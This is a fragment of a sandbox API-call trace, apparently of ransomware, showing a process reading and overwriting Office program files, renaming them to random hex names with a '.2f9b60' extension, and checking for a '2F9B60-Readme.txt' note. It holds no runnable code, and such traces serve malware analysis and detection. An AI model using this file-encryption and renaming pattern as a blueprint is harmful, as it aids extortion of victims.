0x1b85e890 [0090.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.206] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0090.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cefc290 [0090.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ee0) returned 1 [0090.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.207] WriteFile (in: hFile=0xaa4, lpBuffer=0x1cefc290*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26a3f700, lpOverlapped=0x0 | out: lpBuffer=0x1cefc290*, lpNumberOfBytesWritten=0x26a3f700*=0x3c00, lpOverlapped=0x0) returned 1 [0098.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cefc290) returned 1 [0098.400] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.400] ReadFile (in: hFile=0xaa4, lpBuffer=0x1cef0e60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26a3f700, lpOverlapped=0x0 | out: lpBuffer=0x1cef0e60*, lpNumberOfBytesRead=0x26a3f700*=0x3c00, lpOverlapped=0x0) returned 1 [0100.393] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97940 [0100.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869e40 [0100.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.394] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dd00b0 [0100.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0100.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263140 [0100.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263140) returned 1 [0100.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869e40) returned 1 [0100.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97940) returned 1 [0100.836] WriteFile (in: hFile=0xaa4, lpBuffer=0x41dd00b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26a3f700, lpOverlapped=0x0 | out: lpBuffer=0x41dd00b0*, lpNumberOfBytesWritten=0x26a3f700*=0x3c00, lpOverlapped=0x0) returned 1 [0159.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dd00b0) returned 1 [0159.634] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x113a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.634] ReadFile (in: hFile=0xaa4, lpBuffer=0x1cef0e60, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26a3f700, lpOverlapped=0x0 | out: lpBuffer=0x1cef0e60*, lpNumberOfBytesRead=0x26a3f700*=0x3c00, lpOverlapped=0x0) returned 1 [0160.740] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x113a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c1f0 [0160.740] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0160.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a16d0 [0160.741] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a16d0) returned 1 [0160.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42313cc0 [0160.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a16d0 [0160.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1760 [0160.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a1760) returned 1 [0160.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0160.742] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c1f0) returned 1 [0160.743] WriteFile (hFile=0xaa4, lpBuffer=0x42313cc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26a3f700, lpOverlapped=0x0) [0187.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42313cc0) returned 1 [0187.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce15840 [0187.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a16d0) returned 1 [0187.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263170) returned 1 [0187.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a0c0) returned 1 [0187.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef0e60) returned 1 [0187.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b85a0c0 [0187.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5b930 [0187.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307d00 [0187.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263170 [0187.534] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263170) returned 1 [0187.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20263170 [0187.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260d10 [0187.534] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260170 [0187.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260170) returned 1 [0187.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307d00) returned 1 [0187.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b930) returned 1 [0187.535] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x146) returned 0x1cebcac0 [0187.536] SetFilePointerEx (in: hFile=0xaa4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.536] WriteFile (in: hFile=0xaa4, lpBuffer=0x1cebcac0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26a3f7b0, lpOverlapped=0x0 | out: lpBuffer=0x1cebcac0*, lpNumberOfBytesWritten=0x26a3f7b0*=0x146, lpOverlapped=0x0) returned 1 [0201.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0201.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0201.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a1c0 [0201.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a1c0) returned 1 [0201.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a1c0 [0201.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1a190 [0201.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1a190) returned 1 [0201.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0201.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0201.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1ce5e9b0 [0201.845] sprintf (in: _Dest=0x1ce5e9b0, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9b2, _Format="%c%c" | out: _Dest="cf") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9b4, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9b6, _Format="%c%c" | out: _Dest="72") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9b8, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9ba, _Format="%c%c" | out: _Dest="83") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9bc, _Format="%c%c" | out: _Dest="ae") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9be, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9c0, _Format="%c%c" | out: _Dest="88") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9c2, _Format="%c%c" | out: _Dest="b0") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9c4, _Format="%c%c" | out: _Dest="15") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9c6, _Format="%c%c" | out: _Dest="0b") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9c8, _Format="%c%c" | out: _Dest="57") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9ca, _Format="%c%c" | out: _Dest="8c") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9cc, _Format="%c%c" | out: _Dest="06") returned 2 [0201.845] sprintf (in: _Dest=0x1ce5e9ce, _Format="%c%c" | out: _Dest="67") returned 2 [0201.846] sprintf (in: _Dest=0x1ce5e9d0, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.846] sprintf (in: _Dest=0x1ce5e9d2, _Format="%c%c" | out: _Dest="00") returned 2 [0201.846] sprintf (in: _Dest=0x1ce5e9d4, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.846] sprintf (in: _Dest=0x1ce5e9d6, _Format="%c%c" | out: _Dest="84") returned 2 [0201.846] RtlInitAnsiString (in: DestinationString=0x26a3f828, SourceString="a6cf7a72b283aea688b0150b578c0667e300d884" | out: DestinationString="a6cf7a72b283aea688b0150b578c0667e300d884") [0201.846] RtlAnsiStringToUnicodeString (in: DestinationString=0x26a3f7f8, SourceString="a6cf7a72b283aea688b0150b578c0667e300d884", AllocateDestinationString=1 | out: DestinationString="a6cf7a72b283aea688b0150b578c0667e300d884") returned 0x0 [0201.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b7ceca0 [0201.846] wcscat (in: _Dest=0x43107c80, _Source="a6cf7a72b2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2") returned="C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2" [0201.846] wcscat (in: _Dest=0x43107c80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2.2f9b60" [0201.847] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2.2f9b60", NtPathName=0x26a3f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\a6cf7a72b2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x43197760 Thread: id = 390 os_tid = 0xf48 [0090.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest")) returned 0x20 [0090.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest", dwFileAttributes=0x20) returned 1 [0090.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\excel.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\excel.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xaa8 [0090.124] GetFileSizeEx (in: hFile=0xaa8, lpFileSize=0x2658fe20 | out: lpFileSize=0x2658fe20*=1196) returned 1 [0090.124] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x4a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.124] ReadFile (in: hFile=0xaa8, lpBuffer=0x2658fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2658fde8, lpOverlapped=0x0 | out: lpBuffer=0x2658fda0*, lpNumberOfBytesRead=0x2658fde8*=0x4, lpOverlapped=0x0) returned 1 [0090.169] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a0c0 [0090.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a270 [0090.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0090.169] NtQuerySystemTime (in: CurrentTime=0x2658fce0 | out: CurrentTime=0x2658fce0*=132462176960410000) returned 0x0 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x68fff97e [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x43e2db21 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x1e47e89f [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x7a909a7d [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x1d6be866 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x1f9ae172 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x24e25cf9 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x2d79561f [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x3ab60694 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x70404d15 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x57e8475a [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x4538c915 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x19558a74 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x7d39d1f8 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x7e988525 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x23a6ff41 [0090.169] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x2abcb86c [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x527b3347 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x5c14229c [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x642cee4f [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x635cc6b [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x739766e5 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x69e5f98a [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x5c662e16 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x5b4590e9 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x378b40a5 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x6c41f4c [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x1345e840 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x6aa23f42 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x35e5a0 [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x6634758f [0090.170] RtlRandomEx (in: Seed=0x2658fcd0 | out: Seed=0x2658fcd0) returned 0x7e420d2c [0090.181] ReadFile (in: hFile=0xaa8, lpBuffer=0x1cef4a70, nNumberOfBytesToRead=0x4ac, lpNumberOfBytesRead=0x2658fcd0, lpOverlapped=0x0 | out: lpBuffer=0x1cef4a70*, lpNumberOfBytesRead=0x2658fcd0*=0x4ac, lpOverlapped=0x0) returned 1 [0090.181] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.181] WriteFile (in: hFile=0xaa8, lpBuffer=0x1cef8680*, nNumberOfBytesToWrite=0x4ac, lpNumberOfBytesWritten=0x2658fcd4, lpOverlapped=0x0 | out: lpBuffer=0x1cef8680*, lpNumberOfBytesWritten=0x2658fcd4*=0x4ac, lpOverlapped=0x0) returned 1 [0090.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8595e0 [0090.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859550 [0090.376] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859550) returned 1 [0090.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef8680) returned 1 [0090.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cef4a70) returned 1 [0090.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0090.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9fdf0 [0090.377] SetFilePointerEx (in: hFile=0xaa8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0090.377] WriteFile (in: hFile=0xaa8, lpBuffer=0x166e00*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2658fdf0, lpOverlapped=0x0 | out: lpBuffer=0x166e00*, lpNumberOfBytesWritten=0x2658fdf0*=0x116, lpOverlapped=0x0) returned 1 [0090.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0090.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e790 [0090.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b110 [0090.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b110) returned 1 [0090.378] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85b110 [0090.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b140 [0090.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b170 [0090.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b170) returned 1 [0090.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e790) returned 1 [0090.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0090.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9da30 [0090.379] sprintf (in: _Dest=0x1cd9da30, _Format="%c%c" | out: _Dest="e3") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da32, _Format="%c%c" | out: _Dest="64") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da34, _Format="%c%c" | out: _Dest="53") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da36, _Format="%c%c" | out: _Dest="9c") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da38, _Format="%c%c" | out: _Dest="77") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da3a, _Format="%c%c" | out: _Dest="99") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da3c, _Format="%c%c" | out: _Dest="0e") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da3e, _Format="%c%c" | out: _Dest="d6") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da40, _Format="%c%c" | out: _Dest="7d") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da42, _Format="%c%c" | out: _Dest="73") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da44, _Format="%c%c" | out: _Dest="f7") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da46, _Format="%c%c" | out: _Dest="ad") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da48, _Format="%c%c" | out: _Dest="37") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da4a, _Format="%c%c" | out: _Dest="3b") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da4c, _Format="%c%c" | out: _Dest="7c") returned 2 [0090.379] sprintf (in: _Dest=0x1cd9da4e, _Format="%c%c" | out: _Dest="4c") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da50, _Format="%c%c" | out: _Dest="30") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da52, _Format="%c%c" | out: _Dest="ac") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da54, _Format="%c%c" | out: _Dest="f6") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da56, _Format="%c%c" | out: _Dest="3c") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da58, _Format="%c%c" | out: _Dest="90") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da5a, _Format="%c%c" | out: _Dest="56") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da5c, _Format="%c%c" | out: _Dest="4d") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da5e, _Format="%c%c" | out: _Dest="7d") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da60, _Format="%c%c" | out: _Dest="d8") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da62, _Format="%c%c" | out: _Dest="5d") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da64, _Format="%c%c" | out: _Dest="4f") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da66, _Format="%c%c" | out: _Dest="63") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da68, _Format="%c%c" | out: _Dest="c3") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da6a, _Format="%c%c" | out: _Dest="a7") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da6c, _Format="%c%c" | out: _Dest="7e") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da6e, _Format="%c%c" | out: _Dest="fd") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da70, _Format="%c%c" | out: _Dest="39") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da72, _Format="%c%c" | out: _Dest="77") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da74, _Format="%c%c" | out: _Dest="e0") returned 2 [0090.380] sprintf (in: _Dest=0x1cd9da76, _Format="%c%c" | out: _Dest="46") returned 2 [0090.380] RtlInitAnsiString (in: DestinationString=0x2658fe68, SourceString="e364539c77990ed67d73f7ad373b7c4c30acf63c90564d7dd85d4f63c3a77efd3977e046" | out: DestinationString="e364539c77990ed67d73f7ad373b7c4c30acf63c90564d7dd85d4f63c3a77efd3977e046") [0090.380] RtlAnsiStringToUnicodeString (in: DestinationString=0x2658fe38, SourceString="e364539c77990ed67d73f7ad373b7c4c30acf63c90564d7dd85d4f63c3a77efd3977e046", AllocateDestinationString=1 | out: DestinationString="e364539c77990ed67d73f7ad373b7c4c30acf63c90564d7dd85d4f63c3a77efd3977e046") returned 0x0 [0090.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x1b7add40 [0090.381] wcscat (in: _Dest=0x1b7ad2a0, _Source="e364539c77990ed67d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d") returned="C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d" [0090.381] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d.2f9b60" [0090.381] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d.2f9b60", NtPathName=0x2658fe10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\e364539c77990ed67d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0090.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1ce10d10 [0090.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce10d10) returned 1 [0090.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0090.383] NtQueryInformationFile (in: FileHandle=0xaa8, IoStatusBlock=0x2658fe78, FileInformation=0x2658fe88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2658fe78, FileInformation=0x2658fe88) returned 0x0 [0090.383] NtSetInformationFile (FileHandle=0xaa8, IoStatusBlock=0x2658fe78, FileInformation=0x2658fe88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0090.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0090.384] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0090.384] FlushFileBuffers (hFile=0xaa8) returned 1 [0090.992] CloseHandle (hObject=0xaa8) returned 1 [0090.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1cf4d410 [0090.993] wcscpy (in: _Dest=0x1cf4d410, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0090.993] wcscat (in: _Dest=0x1cf4d410, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0090.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0090.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d410) returned 1 [0090.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c180) returned 1 Thread: id = 391 os_tid = 0xf4c [0090.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirm.xml")) returned 0x20 